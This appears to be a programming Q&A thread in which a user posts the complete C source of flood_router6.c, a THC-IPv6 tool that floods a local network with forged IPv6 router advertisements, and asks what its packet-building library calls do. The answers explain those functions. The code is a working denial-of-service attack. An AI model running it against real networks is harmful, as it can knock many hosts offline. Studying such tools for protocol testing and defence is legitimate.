some functions in flood_router6.c (DoS program in BackTrack) - c++

Question

This code is a Denial of Service attack program in BackTrack from http://www.thc.org/
The code's name is flood_router6.c
In the code shown below, I have problem what are these functions doing:
thc_create_ipv6()
thc_add_icmp6()
thc_generate_and_send_pkt()
there are no functions like that in "thc-ipv6.h" library.
What are these functions do? I searched on google and there are no answer.
Anyone can help?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
extern int debug;
void help(char *prg) {
printf("%s %s (c) 2010 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-r] interface\n\n", prg);
printf("Flood the local network with router advertisements.\n");
printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[56];
unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
int size, mtu, i;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
int count = 0;
if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
mtu = 1500;
size = 64;
ip6 = malloc(16);
routerip6 = malloc(16);
route6 = malloc(16);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
routerip6[0] = 0x2a;
routerip6[1] = 0x01;
routerip6[15] = 0x01;
memset(route6 + 8, 0, 8);
printf("Starting to flood network with router advertisements on %s
(Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
for (i = 2; i < 8; i++)
routerip6[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
memcpy(route6, routerip6, 8);
count++;
memset(buf, 0, sizeof(buf));
buf[1] = 250;
buf[5] = 30;
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 3;
buf[17] = 4;
buf[18] = size;
buf[19] = 128 + 64 + 32;
memset(&buf[20], 255, 8);
memcpy(&buf[32], route6, 16);
buf[48] = 1;
buf[49] = 1;
memcpy(&buf[50], mac6, 6);
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
perror("");
return -1;
}
pkt = thc_destroy_packet(pkt);
usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}

Answer 1

THC-IPv6 is a set of tools used to attack inherent protocol weaknesses of IPV6.The project is a part of the THC, namely The Hacker's Choice. You can find the detail about this project:
http://www.thc.org/thc-ipv6/
The THC-IPv6 not only provides tools for attacking but also a handy library.The library can be used in developing your own applications, e.g. create a specific IPv6 packet.
http://www.thc.org/thc-ipv6/README
Basicly, thc_create_ipv6() is used to create a IPv6 packet with no extension headers.
thc_add_icmp6() will add the icmpv6 header to this packet and thc_generate_and_send_pkt() will send out this packet to wire. More detail about THC-IPv6 library pls refer to the README.

Answer 2

You did not really look - the functions are defined in thc-ipv6.h, the code for them is in thc-ipv6-lib.c
The function thc_create_ipv6() creates the basic IPv6 packet and is required before any other packet function of the library.
Then the_add_icmp6() adds an ICMPv6 header to the IPv6 packet.
There are more thc_add_* functions, e.g. for UDP, TCP or extension headers.
Finally thc_generate_and_send_pkt() will build the packet and send it to the network.
See the README.
The smurf6.c file is an easy example on how to use the library.